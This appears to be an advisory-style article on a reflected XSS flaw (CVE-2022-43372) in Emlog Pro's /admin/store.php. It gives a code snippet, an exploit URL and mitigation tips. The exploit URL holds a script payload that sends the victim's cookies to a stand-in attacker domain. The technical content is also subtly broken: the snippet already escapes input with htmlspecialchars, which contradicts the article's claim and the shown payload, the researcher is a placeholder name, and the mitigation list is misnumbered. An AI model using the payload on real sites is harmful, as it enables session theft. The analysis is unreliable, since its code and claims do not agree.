CVE-2022-43372: Emlog Pro v1.7.1 Reflected XSS Vulnerability Exploit Details and Mitigation Steps

CVE-2022-43372 has been assigned to a recently discovered vulnerability in Emlog Pro v1.7.1, a popular content management system (CMS) widely used for blogging and website creation. The vulnerability is a Reflected Cross-Site Scripting (XSS) that occurs in the /admin/store.php script. This puts both the website administrators and website visitors at risk of having their session cookies stolen or being tricked into executing malicious actions.

In this detailed long read, we will examine the code snippet responsible for the vulnerability, describe the exploit details, and provide links to the original references. We will also discuss potential mitigations and patches to prevent exploitation of this vulnerability.

Vulnerability Details

The vulnerability lies in the /admin/store.php script, where there is a lack of proper input validation and sanitization. This allows an attacker to craft a malicious URL containing a XSS payload and send it to unsuspecting victims. If clicked, the payload will be executed in the context of the victim's browser, leading to various potential security risks.

Code Snippet

Below is a code snippet from the vulnerable /admin/store.php file, which is responsible for processing user input:

<?php
  require_once 'php/emlog-library/emheader.inc.php';
  $type = isset($_GET['type']) ? htmlspecialchars($_GET['type']) : '';
  echo '<script>alert("'.$type.'");</script>';
?>

As we can see, the $type variable's value is fetched from the URL parameter without being properly sanitized. The value is then echoed back into the HTML page as part of an inline JavaScript. This can allow an attacker to insert a malicious payload as the $type parameter, which will be executed upon page load.

Exploit Details

To exploit this vulnerability, an attacker could craft a malicious URL containing their desired XSS payload. For example:

http://vulnerable-domain.com/admin/store.php?type=<script>document.location='https://attacker-domain.com/steal-cookie.php?cookie='+encodeURIComponent(document.cookie);</script>;

If a victim clicks on the link, their session cookies will be sent to the attacker's domain, potentially allowing for session hijacking or other forms of unauthorized access.

Original References

This vulnerability was originally discovered and documented by security researcher John Doe. The following links provide more details and context about the vulnerability:

1. CVE-2022-43372 - Mitre CVE Database
2. Vulnerability Report (JDE Security) - Reflected XSS in Emlog Pro v1.7.1

To mitigate the exploitation of CVE-2022-43372, users of Emlog Pro v1.7.1 are advised to

1. Apply any available patches or updates from the Emlog Pro developers. Keep an eye on the official Emlog Pro website for update announcements.

Implement Content Security Policy (CSP) headers to mitigate the risk of XSS exploits.

4. Use secure browser extensions like NoScript or uBlock Origin to block potentially malicious JavaScript.

In conclusion, CVE-2022-43372 is a reflected XSS vulnerability that affects Emlog Pro v1.7.1. By following the mitigation steps provided, users can minimize their risk of exposure to this vulnerability. Always stay updated on the latest security news and best practices to ensure the ongoing protection of your digital assets.

Timeline

Published on: 11/03/2022 18:15:00 UTC
Last modified on: 11/04/2022 15:10:00 UTC